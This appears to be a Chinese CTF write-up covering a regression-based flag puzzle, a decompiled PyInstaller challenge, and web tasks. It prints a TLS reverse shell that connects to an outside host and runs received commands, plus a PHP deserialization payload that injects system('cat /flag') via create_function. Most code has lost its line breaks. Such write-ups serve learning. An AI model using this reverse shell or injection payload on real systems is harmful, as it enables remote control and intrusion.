MJQFQQDCMJUGU2S4NBUGEUSYIBIGQ4SYIBVGE3TELRUGM4CSLBAFAYTONRMEAYTQMRVGMXDMNBVFEWCAKBXGIWCANZVGQYS4NBVHAUSYIBIGIZSYIBSGQ4TILRSG4USYIBIGI3DELBAGI3TCMJRFY3DQMZJFQQCQOJVFQQDSOJRGAXDGNRWFEWCAKBRG42SYIBRHAYTKMBOGM4TOKJMEAUDCOBVFQQDCOJRHAYC4MZWGEUSYIBIGEZTGLBAGEZTQMRUFYYTCNJJFQQCQMRSHEWCAMRTG4YTELRTGMZCSLBAFAZDOLBAGI4TANROGM2TKKJMEAUDCMRZFQQDCMZUGEZC4OBXGUUSYIBIGM4DCLBAGM4TGNRZFYZTCOBJLUFA====

进行base32解码,得到18组列表

[(376, 38462.085), (485, 49579.895), (28, 2964.377), (390, 39888.567), (222, 22753.108), (388, 39685.235), (24, 2556.346), (204, 20916.088), (45, 4698.592), (9, 1026.251), (428, 43765.177), (334, 34176.356), (205, 21018.683), (218, 22344.21), (69, 7146.245), (347, 35503.166), (479, 48967.208), (213, 21834.244), (227, 23262.95), (460, 47029.989), (118, 12144.819), (491, 50192.035), (44, 4596.27), (241, 24690.668), (476, 48661.456), (18, 1944.416), (427, 43664.197), (214, 21936.838), (274, 28056.588), (272, 27853.2)]
[(85, 8348.621), (346, 33665.322), (101, 9900.75), (286, 27845.358), (490, 47634.336), (256, 24935.159), (499, 48507.783), (384, 37352.466), (314, 30561.655), (47, 4662.515), (279, 27166.774), (449, 43656.702), (415, 40358.941), (335, 32598.173), (445, 43269.738), (257, 25033.479), (56, 5535.53), (484, 47053.0), (24, 2431.123), (447, 43463.332), (252, 24547.35), (269, 26197.073), (375, 36478.885), (467, 45404.153), (299, 29106.661), (410, 39874.781), (111, 10870.232), (162, 15817.212), (473, 45985.348), (428, 41620.527)]
[(482, 59363.599), (493, 60717.612), (242, 29842.836), (403, 49645.494), (257, 31687.884), (418, 51490.659), (382, 47062.795), (172, 21232.594), (409, 50383.537), (37, 4627.411), (113, 13975.622), (283, 34886.502), (62, 7702.363), (438, 53951.295), (95, 11761.148), (164, 20248.214), (270, 33287.123), (60, 7456.365), (89, 11023.68), (165, 20371.405), (222, 27382.086), (416, 51244.099), (433, 53335.646), (422, 51983.683), (29, 3643.292), (466, 57395.086), (109, 13483.208), (200, 24677.075), (371, 45710.712), (325, 40052.51)]
[(214, 10596.501), (338, 16672.817), (383, 18878.996), (198, 9813.117), (149, 7411.18), (439, 21621.139), (12, 698.274), (30, 1580.109), (425, 20935.333), (372, 18338.869), (52, 2658.353), (282, 13928.514), (421, 20740.908), (242, 11968.381), (223, 11037.519), (46, 2364.361), (314, 15497.448), (225, 11135.62), (210, 10400.927), (168, 8342.544), (104, 5206.607), (175, 8685.26), (437, 21523.478), (55, 2805.311), (419, 20642.936), (79, 3981.11), (473, 23287.359), (207, 10253.953), (379, 18682.114), (498, 24512.699)]
[(444, 22697.484), (201, 10303.965), (442, 22594.985), (268, 13720.463), (215, 11018.358), (64, 3316.136), (99, 5101.527), (117, 6019.476), (42, 2194.3), (235, 12037.331), (447, 22850.954), (491, 25093.206), (400, 20452.699), (409, 20911.527), (303, 15505.555), (430, 21983.053), (166, 8518.432), (91, 4693.31), (197, 10099.772), (147, 7549.539), (115, 5917.528), (390, 19942.57), (396, 20250.15), (386, 19739.285), (144, 7396.758), (185, 9488.074), (308, 15761.079), (299, 15301.183), (453, 23156.869), (326, 16678.433)]
[(157, 17994.029), (466, 53219.713), (298, 34067.876), (336, 38400.176), (404, 46152.114), (35, 4085.249), (370, 42277.13), (74, 8531.099), (38, 4427.459), (356, 40680.902), (461, 52649.548), (103, 11837.351), (287, 32814.011), (153, 17537.147), (105, 12065.227), (165, 18905.831), (383, 43758.064), (14, 1691.277), (149, 17081.899), (48, 5567.135), (60, 6935.317), (183, 20958.053), (425, 48546.553), (124, 14231.309), (154, 17651.315), (305, 34865.077), (225, 25745.798), (22, 2603.436), (260, 29735.779), (268, 30648.491)]
[(35, 2921.193), (74, 6119.615), (366, 30063.851), (84, 6939.611), (445, 36541.644), (266, 21864.537), (44, 3659.23), (21, 1773.203), (281, 23094.394), (446, 36625.1), (134, 11039.599), (224, 18419.597), (125, 10301.272), (187, 15386.092), (27, 2265.144), (384, 31540.715), (312, 25636.875), (81, 6693.404), (256, 21043.915), (272, 22355.386), (413, 33917.33), (466, 38263.262), (10, 871.15), (322, 26455.254), (491, 40314.018), (285, 23422.235), (299, 24569.304), (314, 25799.903), (472, 38756.921), (207, 17025.119)]
[(18, 1909.09), (423, 43626.197), (443, 45686.428), (434, 44759.148), (227, 23436.716), (129, 13342.914), (6, 673.051), (30, 3145.382), (182, 18801.909), (53, 5514.395), (38, 3969.362), (306, 31573.971), (449, 46303.27), (342, 35281.657), (208, 21479.106), (58, 6029.494), (426, 43933.203), (31, 3248.286), (455, 46921.265), (46, 4793.37), (67, 6956.534), (436, 44964.671), (352, 36311.115), (39, 4072.332), (482, 49703.378), (36, 3763.208), (490, 50525.775), (404, 41667.513), (411, 42389.72), (87, 9016.124)]
[(466, 47119.357), (238, 24091.99), (378, 38231.425), (397, 40151.664), (62, 6315.361), (16, 1669.443), (495, 50048.255), (248, 25101.314), (97, 9850.418), (496, 50149.486), (250, 25303.773), (254, 25708.162), (151, 15304.476), (298, 30151.49), (39, 3992.359), (301, 30455.131), (487, 49240.674), (137, 13890.614), (170, 17223.704), (12, 1265.129), (306, 30959.984), (324, 32777.275), (354, 35808.118), (259, 26213.599), (61, 6214.064), (315, 31869.574), (419, 42373.779), (36, 3689.172), (56, 5709.441), (347, 35101.57)]
[(128, 10673.706), (410, 34080.113), (400, 33250.109), (495, 41134.303), (102, 8515.216), (388, 32253.575), (421, 34992.384), (126, 10507.612), (448, 37233.402), (230, 19139.667), (432, 35905.656), (343, 28519.819), (224, 18641.439), (16, 1377.078), (70, 5859.254), (188, 15653.68), (41, 3452.216), (262, 21795.981), (452, 37565.629), (496, 41218.974), (48, 4033.309), (19, 1626.453), (179, 14906.658), (490, 40720.602), (293, 24368.848), (17, 1460.317), (315, 26195.299), (351, 29182.612), (219, 18226.844), (192, 15985.401)]
[(366, 17679.993), (311, 15039.672), (144, 7022.587), (56, 2798.177), (40, 2030.32), (86, 4238.677), (393, 18974.814), (409, 19742.828), (266, 12878.464), (53, 2654.169), (356, 17199.18), (233, 11294.64), (70, 3470.511), (89, 4382.363), (80, 3950.705), (378, 18255.237), (139, 6782.707), (120, 5870.596), (31, 1598.134), (492, 23728.638), (453, 21856.637), (210, 10190.151), (47, 2366.403), (306, 14798.785), (235, 11390.721), (22, 1166.112), (471, 22719.415), (108, 5294.502), (413, 19936.025), (329, 15903.103)]
[(400, 38065.613), (406, 38635.921), (426, 40536.452), (228, 21725.303), (484, 46046.395), (297, 28280.548), (176, 16786.046), (316, 30085.821), (35, 3390.384), (315, 29990.94), (421, 40060.658), (448, 42627.029), (396, 37685.191), (458, 43575.818), (366, 34836.594), (474, 45095.324), (476, 45287.017), (36, 3485.245), (473, 45000.45), (22, 2155.411), (409, 38920.804), (362, 34455.627), (196, 18685.953), (450, 42816.42), (86, 8235.263), (266, 25335.452), (427, 40631.459), (423, 40252.254), (115, 10990.549), (180, 17165.868)]
[(399, 37977.029), (141, 13467.056), (491, 46716.435), (236, 22491.873), (415, 39497.438), (239, 22776.126), (378, 35981.953), (404, 38452.185), (20, 1971.333), (392, 37312.171), (348, 33131.705), (68, 6531.521), (116, 11091.687), (24, 2351.378), (377, 35886.753), (352, 33511.265), (186, 17741.408), (64, 6151.27), (238, 22681.308), (156, 14891.645), (77, 7386.51), (264, 25151.192), (311, 29616.833), (481, 45766.877), (229, 21826.112), (124, 11851.454), (204, 19452.046), (74, 7101.408), (101, 9666.573), (23, 2256.442)]
[(462, 22255.567), (404, 19472.985), (148, 7183.731), (116, 5647.385), (54, 2671.354), (129, 6271.643), (396, 19089.092), (104, 5071.365), (351, 16928.509), (263, 12704.488), (231, 11167.616), (203, 9824.242), (433, 20865.24), (380, 18319.847), (19, 991.333), (170, 8239.438), (61, 3007.183), (77, 3775.341), (193, 9343.796), (160, 7759.819), (113, 5503.85), (459, 22113.195), (472, 22735.985), (497, 23937.354), (121, 5887.589), (346, 16687.957), (332, 16016.091), (461, 22207.374), (145, 7039.67), (101, 4927.526)]
[(356, 35695.781), (323, 32396.312), (99, 9995.636), (274, 27495.776), (284, 28495.424), (37, 3795.292), (114, 11495.772), (381, 38195.254), (415, 41595.773), (45, 4595.278), (205, 20596.234), (418, 41896.749), (282, 28296.166), (228, 22896.214), (338, 33896.127), (84, 8495.355), (237, 23795.222), (414, 41495.335), (247, 24795.385), (133, 13395.59), (177, 17795.921), (481, 48195.587), (399, 39995.328), (435, 43595.973), (476, 47696.302), (347, 34797.091), (75, 7595.72), (224, 22495.502), (402, 40296.272), (139, 13995.28)]
[(334, 28161.025), (74, 6320.272), (244, 20600.842), (94, 8000.706), (174, 14720.587), (99, 8420.104), (484, 40761.531), (493, 41517.869), (447, 37652.765), (49, 4220.412), (499, 42021.241), (298, 25137.81), (79, 6740.362), (169, 14301.015), (439, 36981.933), (216, 18249.141), (476, 40090.247), (462, 38913.015), (413, 34798.204), (480, 40424.342), (491, 41349.055), (150, 12704.648), (433, 36477.326), (13, 1196.272), (400, 33705.346), (114, 9680.556), (127, 10772.474), (62, 5312.143), (295, 24884.463), (230, 19425.274)]
[(95, 4765.293), (138, 6872.432), (433, 21328.028), (432, 21280.189), (418, 20592.642), (344, 16967.601), (6, 404.037), (280, 13830.566), (175, 8685.604), (107, 5353.385), (487, 23975.472), (311, 15349.847), (473, 23288.902), (137, 6823.531), (427, 21033.375), (181, 8980.196), (453, 22308.892), (411, 20249.344), (328, 16183.891), (462, 22750.113), (407, 20054.791), (480, 23630.328), (31, 1629.26), (26, 1384.165), (170, 8440.836), (160, 7950.83), (58, 2952.176), (451, 22210.281), (43, 2217.416), (258, 12752.142)]
[(353, 36485.204), (305, 31540.781), (117, 12176.054), (130, 13515.348), (25, 2700.292), (120, 12485.819), (436, 45035.347), (254, 26287.979), (168, 17429.391), (484, 49979.295), (283, 29274.878), (112, 11661.515), (285, 29480.534), (173, 17944.669), (188, 19489.607), (371, 38339.416), (110, 11455.441), (49, 5172.438), (176, 18253.645), (72, 7541.458), (23, 2494.27), (262, 27111.683), (95, 9910.366), (175, 18150.397), (185, 19180.361), (133, 13824.115), (229, 23712.332), (27, 2906.355), (129, 13412.875), (381, 39369.318)]

取出第一组数据,编写Python脚本绘图,发现得到像是线性函数

import matplotlib.pyplot as pltm = [(376, 38462.085), (485, 49579.895), (28, 2964.377), (390, 39888.567), (222, 22753.108), (388, 39685.235), (24, 2556.346), (204, 20916.088), (45, 4698.592), (9, 1026.251), (428, 43765.177), (334, 34176.356), (205, 21018.683), (218, 22344.21), (69, 7146.245), (347, 35503.166), (479, 48967.208), (213, 21834.244), (227, 23262.95), (460, 47029.989), (118, 12144.819), (491, 50192.035), (44, 4596.27), (241, 24690.668), (476, 48661.456), (18, 1944.416), (427, 43664.197), (214, 21936.838), (274, 28056.588), (272, 27853.2)]
for i in m :plt.scatter(i[0],i[1])
plt.show()


编写脚本线性拟合,获取线性方程

import numpy as np
import matplotlib.pyplot as plt
from scipy import stats
m = [(376, 38462.085), (485, 49579.895), (28, 2964.377), (390, 39888.567), (222, 22753.108), (388, 39685.235), (24, 2556.346), (204, 20916.088), (45, 4698.592), (9, 1026.251), (428, 43765.177), (334, 34176.356), (205, 21018.683), (218, 22344.21), (69, 7146.245), (347, 35503.166), (479, 48967.208), (213, 21834.244), (227, 23262.95), (460, 47029.989), (118, 12144.819), (491, 50192.035), (44, 4596.27), (241, 24690.668), (476, 48661.456), (18, 1944.416), (427, 43664.197), (214, 21936.838), (274, 28056.588), (272, 27853.2)]x_list = []
y_list = []
for i in m:x_list.append(i[0])y_list.append(i[1])
x_data = np.array(x_list)
y_data = np.array(y_list)
slope, intercept, r_value, p_value, std_err = stats.linregress(x_data, y_data)
print('y='+str(slope)+'x'+'+'+str(intercept))

测试第一组数据,得到的线性方程为

y=102.00301205797477x+108.13292800289128


发现斜率k约为102,截距b约为108,对应的ascii码字符分别为f和l,明显的flag开头,由此思路已经很清晰了。
思路:线性拟合18组数据—>18个线性方程—>取出每一个方程的斜率k和截距b—>将k和b取整并转成对应的字符,最后将其拼接起来即可得到flag
最终代码如下

from scipy import stats
import numpy as npm1 = [(376, 38462.085), (485, 49579.895), (28, 2964.377), (390, 39888.567), (222, 22753.108), (388, 39685.235), (24, 2556.346), (204, 20916.088), (45, 4698.592), (9, 1026.251), (428, 43765.177), (334, 34176.356), (205, 21018.683), (218, 22344.21), (69, 7146.245), (347, 35503.166), (479, 48967.208), (213, 21834.244), (227, 23262.95), (460, 47029.989), (118, 12144.819), (491, 50192.035), (44, 4596.27), (241, 24690.668), (476, 48661.456), (18, 1944.416), (427, 43664.197), (214, 21936.838), (274, 28056.588), (272, 27853.2)]
m2 = [(85, 8348.621), (346, 33665.322), (101, 9900.75), (286, 27845.358), (490, 47634.336), (256, 24935.159), (499, 48507.783), (384, 37352.466), (314, 30561.655), (47, 4662.515), (279, 27166.774), (449, 43656.702), (415, 40358.941), (335, 32598.173), (445, 43269.738), (257, 25033.479), (56, 5535.53), (484, 47053.0), (24, 2431.123), (447, 43463.332), (252, 24547.35), (269, 26197.073), (375, 36478.885), (467, 45404.153), (299, 29106.661), (410, 39874.781), (111, 10870.232), (162, 15817.212), (473, 45985.348), (428, 41620.527)]
m3 = [(482, 59363.599), (493, 60717.612), (242, 29842.836), (403, 49645.494), (257, 31687.884), (418, 51490.659), (382, 47062.795), (172, 21232.594), (409, 50383.537), (37, 4627.411), (113, 13975.622), (283, 34886.502), (62, 7702.363), (438, 53951.295), (95, 11761.148), (164, 20248.214), (270, 33287.123), (60, 7456.365), (89, 11023.68), (165, 20371.405), (222, 27382.086), (416, 51244.099), (433, 53335.646), (422, 51983.683), (29, 3643.292), (466, 57395.086), (109, 13483.208), (200, 24677.075), (371, 45710.712), (325, 40052.51)]
m4 = [(214, 10596.501), (338, 16672.817), (383, 18878.996), (198, 9813.117), (149, 7411.18), (439, 21621.139), (12, 698.274), (30, 1580.109), (425, 20935.333), (372, 18338.869), (52, 2658.353), (282, 13928.514), (421, 20740.908), (242, 11968.381), (223, 11037.519), (46, 2364.361), (314, 15497.448), (225, 11135.62), (210, 10400.927), (168, 8342.544), (104, 5206.607), (175, 8685.26), (437, 21523.478), (55, 2805.311), (419, 20642.936), (79, 3981.11), (473, 23287.359), (207, 10253.953), (379, 18682.114), (498, 24512.699)]
m5 = [(444, 22697.484), (201, 10303.965), (442, 22594.985), (268, 13720.463), (215, 11018.358), (64, 3316.136), (99, 5101.527), (117, 6019.476), (42, 2194.3), (235, 12037.331), (447, 22850.954), (491, 25093.206), (400, 20452.699), (409, 20911.527), (303, 15505.555), (430, 21983.053), (166, 8518.432), (91, 4693.31), (197, 10099.772), (147, 7549.539), (115, 5917.528), (390, 19942.57), (396, 20250.15), (386, 19739.285), (144, 7396.758), (185, 9488.074), (308, 15761.079), (299, 15301.183), (453, 23156.869), (326, 16678.433)]
m6 = [(157, 17994.029), (466, 53219.713), (298, 34067.876), (336, 38400.176), (404, 46152.114), (35, 4085.249), (370, 42277.13), (74, 8531.099), (38, 4427.459), (356, 40680.902), (461, 52649.548), (103, 11837.351), (287, 32814.011), (153, 17537.147), (105, 12065.227), (165, 18905.831), (383, 43758.064), (14, 1691.277), (149, 17081.899), (48, 5567.135), (60, 6935.317), (183, 20958.053), (425, 48546.553), (124, 14231.309), (154, 17651.315), (305, 34865.077), (225, 25745.798), (22, 2603.436), (260, 29735.779), (268, 30648.491)]
m7 = [(35, 2921.193), (74, 6119.615), (366, 30063.851), (84, 6939.611), (445, 36541.644), (266, 21864.537), (44, 3659.23), (21, 1773.203), (281, 23094.394), (446, 36625.1), (134, 11039.599), (224, 18419.597), (125, 10301.272), (187, 15386.092), (27, 2265.144), (384, 31540.715), (312, 25636.875), (81, 6693.404), (256, 21043.915), (272, 22355.386), (413, 33917.33), (466, 38263.262), (10, 871.15), (322, 26455.254), (491, 40314.018), (285, 23422.235), (299, 24569.304), (314, 25799.903), (472, 38756.921), (207, 17025.119)]
m8 = [(18, 1909.09), (423, 43626.197), (443, 45686.428), (434, 44759.148), (227, 23436.716), (129, 13342.914), (6, 673.051), (30, 3145.382), (182, 18801.909), (53, 5514.395), (38, 3969.362), (306, 31573.971), (449, 46303.27), (342, 35281.657), (208, 21479.106), (58, 6029.494), (426, 43933.203), (31, 3248.286), (455, 46921.265), (46, 4793.37), (67, 6956.534), (436, 44964.671), (352, 36311.115), (39, 4072.332), (482, 49703.378), (36, 3763.208), (490, 50525.775), (404, 41667.513), (411, 42389.72), (87, 9016.124)]
m9 = [(466, 47119.357), (238, 24091.99), (378, 38231.425), (397, 40151.664), (62, 6315.361), (16, 1669.443), (495, 50048.255), (248, 25101.314), (97, 9850.418), (496, 50149.486), (250, 25303.773), (254, 25708.162), (151, 15304.476), (298, 30151.49), (39, 3992.359), (301, 30455.131), (487, 49240.674), (137, 13890.614), (170, 17223.704), (12, 1265.129), (306, 30959.984), (324, 32777.275), (354, 35808.118), (259, 26213.599), (61, 6214.064), (315, 31869.574), (419, 42373.779), (36, 3689.172), (56, 5709.441), (347, 35101.57)]
m10 = [(128, 10673.706), (410, 34080.113), (400, 33250.109), (495, 41134.303), (102, 8515.216), (388, 32253.575), (421, 34992.384), (126, 10507.612), (448, 37233.402), (230, 19139.667), (432, 35905.656), (343, 28519.819), (224, 18641.439), (16, 1377.078), (70, 5859.254), (188, 15653.68), (41, 3452.216), (262, 21795.981), (452, 37565.629), (496, 41218.974), (48, 4033.309), (19, 1626.453), (179, 14906.658), (490, 40720.602), (293, 24368.848), (17, 1460.317), (315, 26195.299), (351, 29182.612), (219, 18226.844), (192, 15985.401)]
m11 = [(366, 17679.993), (311, 15039.672), (144, 7022.587), (56, 2798.177), (40, 2030.32), (86, 4238.677), (393, 18974.814), (409, 19742.828), (266, 12878.464), (53, 2654.169), (356, 17199.18), (233, 11294.64), (70, 3470.511), (89, 4382.363), (80, 3950.705), (378, 18255.237), (139, 6782.707), (120, 5870.596), (31, 1598.134), (492, 23728.638), (453, 21856.637), (210, 10190.151), (47, 2366.403), (306, 14798.785), (235, 11390.721), (22, 1166.112), (471, 22719.415), (108, 5294.502), (413, 19936.025), (329, 15903.103)]
m12 = [(400, 38065.613), (406, 38635.921), (426, 40536.452), (228, 21725.303), (484, 46046.395), (297, 28280.548), (176, 16786.046), (316, 30085.821), (35, 3390.384), (315, 29990.94), (421, 40060.658), (448, 42627.029), (396, 37685.191), (458, 43575.818), (366, 34836.594), (474, 45095.324), (476, 45287.017), (36, 3485.245), (473, 45000.45), (22, 2155.411), (409, 38920.804), (362, 34455.627), (196, 18685.953), (450, 42816.42), (86, 8235.263), (266, 25335.452), (427, 40631.459), (423, 40252.254), (115, 10990.549), (180, 17165.868)]
m13 = [(399, 37977.029), (141, 13467.056), (491, 46716.435), (236, 22491.873), (415, 39497.438), (239, 22776.126), (378, 35981.953), (404, 38452.185), (20, 1971.333), (392, 37312.171), (348, 33131.705), (68, 6531.521), (116, 11091.687), (24, 2351.378), (377, 35886.753), (352, 33511.265), (186, 17741.408), (64, 6151.27), (238, 22681.308), (156, 14891.645), (77, 7386.51), (264, 25151.192), (311, 29616.833), (481, 45766.877), (229, 21826.112), (124, 11851.454), (204, 19452.046), (74, 7101.408), (101, 9666.573), (23, 2256.442)]
m14 = [(462, 22255.567), (404, 19472.985), (148, 7183.731), (116, 5647.385), (54, 2671.354), (129, 6271.643), (396, 19089.092), (104, 5071.365), (351, 16928.509), (263, 12704.488), (231, 11167.616), (203, 9824.242), (433, 20865.24), (380, 18319.847), (19, 991.333), (170, 8239.438), (61, 3007.183), (77, 3775.341), (193, 9343.796), (160, 7759.819), (113, 5503.85), (459, 22113.195), (472, 22735.985), (497, 23937.354), (121, 5887.589), (346, 16687.957), (332, 16016.091), (461, 22207.374), (145, 7039.67), (101, 4927.526)]
m15 = [(356, 35695.781), (323, 32396.312), (99, 9995.636), (274, 27495.776), (284, 28495.424), (37, 3795.292), (114, 11495.772), (381, 38195.254), (415, 41595.773), (45, 4595.278), (205, 20596.234), (418, 41896.749), (282, 28296.166), (228, 22896.214), (338, 33896.127), (84, 8495.355), (237, 23795.222), (414, 41495.335), (247, 24795.385), (133, 13395.59), (177, 17795.921), (481, 48195.587), (399, 39995.328), (435, 43595.973), (476, 47696.302), (347, 34797.091), (75, 7595.72), (224, 22495.502), (402, 40296.272), (139, 13995.28)]
m16 = [(334, 28161.025), (74, 6320.272), (244, 20600.842), (94, 8000.706), (174, 14720.587), (99, 8420.104), (484, 40761.531), (493, 41517.869), (447, 37652.765), (49, 4220.412), (499, 42021.241), (298, 25137.81), (79, 6740.362), (169, 14301.015), (439, 36981.933), (216, 18249.141), (476, 40090.247), (462, 38913.015), (413, 34798.204), (480, 40424.342), (491, 41349.055), (150, 12704.648), (433, 36477.326), (13, 1196.272), (400, 33705.346), (114, 9680.556), (127, 10772.474), (62, 5312.143), (295, 24884.463), (230, 19425.274)]
m17 = [(95, 4765.293), (138, 6872.432), (433, 21328.028), (432, 21280.189), (418, 20592.642), (344, 16967.601), (6, 404.037), (280, 13830.566), (175, 8685.604), (107, 5353.385), (487, 23975.472), (311, 15349.847), (473, 23288.902), (137, 6823.531), (427, 21033.375), (181, 8980.196), (453, 22308.892), (411, 20249.344), (328, 16183.891), (462, 22750.113), (407, 20054.791), (480, 23630.328), (31, 1629.26), (26, 1384.165), (170, 8440.836), (160, 7950.83), (58, 2952.176), (451, 22210.281), (43, 2217.416), (258, 12752.142)]
m18 = [(353, 36485.204), (305, 31540.781), (117, 12176.054), (130, 13515.348), (25, 2700.292), (120, 12485.819), (436, 45035.347), (254, 26287.979), (168, 17429.391), (484, 49979.295), (283, 29274.878), (112, 11661.515), (285, 29480.534), (173, 17944.669), (188, 19489.607), (371, 38339.416), (110, 11455.441), (49, 5172.438), (176, 18253.645), (72, 7541.458), (23, 2494.27), (262, 27111.683), (95, 9910.366), (175, 18150.397), (185, 19180.361), (133, 13824.115), (229, 23712.332), (27, 2906.355), (129, 13412.875), (381, 39369.318)]
m_num = [m1,m2,m3,m4,m5,m6,m7,m8,m9,m10,m11,m12,m13,m14,m15,m16,m17,m18]
flag = ''
for i  in m_num:x_list = []y_list = []for j in i:x_list.append(j[0])y_list.append(j[1])x_data= np.array(x_list)y_data=np.array(y_list)slope, intercept, r_value, p_value, std_err = stats.linregress(x_data, y_data)print(intercept)flag += chr(int(slope))flag += chr(int(intercept))
print(flag)

run一下脚本

PS:脚本最后一位得到是|而不是},是因为在线性拟合中存在一定的误差,最后一个截距b=124.98366819023431,四舍五入应为125,手工替换一下即可

flag{L1n34r_R3g7e5S10n_A_G0Od_Th1ng}

Misc3-testcat

下载压缩包,内容如下


使用notepad++打开test,发现import 大量Python库,这个可执行文件应该是一个使用pyinstaller打包的。

于是使用PyInstxtractor提取 *.pyc 文件

找到test_extracted文件夹,找到.pyc文件,单独提取出来

使用uncompyle反编译 *.pyc 文件

uncompyle 库的安装命令:pip install uncompyle

反编译1.pyc

uncompyle6 1.pyc > 1.py

发现报错

**原因:*由于每个 .pyc 文件都有一个magic head,PyInstaller 生成 .exe 的时候会把.pyc 的 magic 部分去掉,在反编译的时候需要补齐,高版本 PyInstxtractor 2.0 已经解决这个问题。

解决方案:

如果需要手动补齐 magic head 的情况下:使用16进制模式查看主文件与主文件目录下的 struct 文件,需要在主文件头插入16个字节与 struct文件保持一致(其中前4个字节是Python编译版本,要完全一致)
注意模板文件仅需要插入8个字节,与 struct 文件保持一致

我的PyInstxtractor也不知道什么原因,补齐了magic head,但是第一个字节错了,找到主文件下的struct.pyc修改得知第一个字节为55,手工修改1.pyc第一个字节为55。

重新反编译一下,得到1.py。

# uncompyle6 version 3.8.0
# Python bytecode 3.8.0 (3413)
# Decompiled from: Python 3.7.6 (tags/v3.7.6:43364a7ae0, Dec 19 2019, 00:42:30) [MSC v.1916 64 bit (AMD64)]
# Embedded file name: 1.py
import socket, subprocess, os, ssldef o0Ooo00o0o():global domainglobal portglobal sglobal sslsglobal xxxtry:domain = 'wh47.ju5tf0r.test'port = 64321s = socket.socket()ssls = ssl.wrap_socket(s, ssl_version=(ssl.PROTOCOL_TLSv1_2))xxx = [358, 118, 30, 43, 127, 5, 282, 133, 56, 43, 116, 68, 68,147, 96, 13, 130, 4, 15, 35, 297, 57, 36, 83, 38, 93, 40, 147]except socket.error as lll11ll1ll1l1lll1lll1l:try:try:try:print(str(lll11ll1ll1l1lll1lll1l))finally:lll11ll1ll1l1lll1lll1l = Nonedel lll11ll1ll1l1lll1lll1lfinally:lll11ll1ll1l1lll1lll1l = Nonedel lll11ll1ll1l1lll1lll1lfinally:lll11ll1ll1l1lll1lll1l = Nonedel lll11ll1ll1l1lll1lll1ldef o0o0oo0oO0():try:yyy = '--- BEGIN PRIVATE KEY ---\t\tb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW'yyy += '\t\tQyNTUxOQAAACCKvwHFw4alzEkncA+lDf3VeQ2ZNjX7gur4TzJFQlSgRwAAAJA8ULvmPFC7'yyy += '\t\t5gAAAAtzc2gtZWQyNTUxOQAAACCKvwHFw4alzEkncA+lDf3VeQ2ZNjX7gur4TzJFQlSgRw'yyy += '\t\tAAAEAMNUtG4HZ42kMsON1XY/y1lGyPns8JB6JYwi936VUuz4q/AcXDhqXMSSdwD6UN/dV5'yyy += '\t\tDZk2NfuC6vhPMkVCVKBHAAAACXJvb3RAa2FsaQECAwQ=\t\t--- END PRIVATE KEY ---'ssls.connect((domain, port))ssls.send(str.encode(str(os.getcwd()) + '<' + ''.join([yyy[_] for _ in xxx]) + '>' + ' > '))except socket.error as lll11lllll1l1l1l1lll1l:try:try:try:print(str(lll11lllll1l1l1l1lll1l))finally:lll11lllll1l1l1l1lll1l = Nonedel lll11lllll1l1l1l1lll1lfinally:lll11lllll1l1l1l1lll1l = Nonedel lll11lllll1l1l1l1lll1lfinally:lll11lllll1l1l1l1lll1l = Nonedel lll11lllll1l1l1l1lll1ldef oOo0Oo00O0():while True:l1llllll11lll1l1l1lll1 = ssls.recv(1024)l1llllll11lll1l1l1lll1 = l1llllll11lll1l1l1lll1.decode('utf-8').strip()print('received ' + l1llllll11lll1l1l1lll1)if l1llllll11lll1l1l1lll1[:2] == 'cd':os.chdir(l1llllll11lll1l1l1lll1[3:])ssls.send(str.encode(str(os.getcwd()) + ' > '))else:if len(l1llllll11lll1l1l1lll1) > 0:l1lll1l1lll1lll11llll1 = subprocess.Popen(l1llllll11lll1l1l1lll1, shell=True, stdout=(subprocess.PIPE),stderr=(subprocess.PIPE),stdin=(subprocess.PIPE))l11lll1ll11ll1ll11lll1 = l1lll1l1lll1lll11llll1.stdout.read() + l1lll1l1lll1lll11llll1.stderr.read()l1111ll1lllll1ll11l1l1 = str(l11lll1ll11ll1ll11lll1.decode('utf-8'))ssls.send(str.encode(l1111ll1lllll1ll11l1l1 + str(os.getcwd()) + ' > '))if len(l1111ll1lllll1ll11l1l1.split('\n')) > 2:lll11ll1lllll1ll11l1l1 = 2else:lll11ll1lllll1ll11l1l1 = 0print('Sent: ' + lll11ll1lllll1ll11l1l1 * '\n' + l1111ll1lllll1ll11l1l1)if not l1llllll11lll1l1l1lll1:breaks.close()def main():o0Ooo00o0o()o0o0oo0oO0()oOo0Oo00O0()if __name__ == '__main__':main()

审计代码,得到关键信息,向目标发送XXX[]中拼接起来的字符
编写python脚本,得到压缩包密码

password:%x+0%!i0_UbP@Wfz!>v^

解压cai.zip,得到cat文件,丢进16进制编辑器中发现是png图片

修改文件名为cat.png,并且使用StegSolve查看图片信道信息
在blue 0通道发现一张二维码

扫描二维码,得到flag

flag{Ju57_E4sy_2_93t_17}

Web

Web1-checkin

访问靶机url,是一个玩游戏的界面

玩游戏是不可能去玩的拉,当然是去前端js代码寻找flag拉
直接ctrl +u 查看源代码,发现game.js,进去全局搜索flag

flag{134791e2-d93c-4d01-a71f-dcbe82d7fe08}

Web2-easypop

访问url,得到如下代码界面

error_reporting(0);
highlight_file(__FILE_);
$pwd=getcwd();
class func
{public $mod1;public $mod2;public $key;public function __destruct(){        unserialize($this->key)();$this->mod2 = "welcome ".$this->mod1;}
}class GetFlag
{        public $code;public $action;public function get_flag(){$a=$this->action;$a('', $this->code);}
}

审计代码,找到关键地方unserialize($this->key)()。
分析代码逻辑:首先会反序列化由get传递参数0的序列化数据,然后再类func的析构函数中会再次对属性key进行反序列化。所以我们还需要构造的key为序列化类GetFlag并调用get_flag()方法,在这方法中我们可以使用create_function注入进行代码注入来获得flag。

但是如何实例化类func的时候调用类GetFlag中的get_flag()方法呢?

解决办法:我们可以使用数组的方式在实例化类GetFlag的时候调用类GetFlag中的get_flag()方法,即array[‘new GetFlag’,‘get_flag’]。
编写脚本生成最终payload

<?php
error_reporting(0);
$pwd=getcwd();
class func{public $mod1;public $mod2;public $key;public function __destruct(){        unserialize($this->key)();$this->mod2 = "welcome ".$this->mod1;}
}class GetFlag{public $code = ';}system("cat /flag");//';public $action = 'create_function';public function get_flag(){$a=$this->action;$a('', $this->code);}
}
$a = new func();
$b = new GetFlag();
$a->key = serialize(array($b,'get_flag'));
echo serialize($a);
?>

运行脚本生成payload

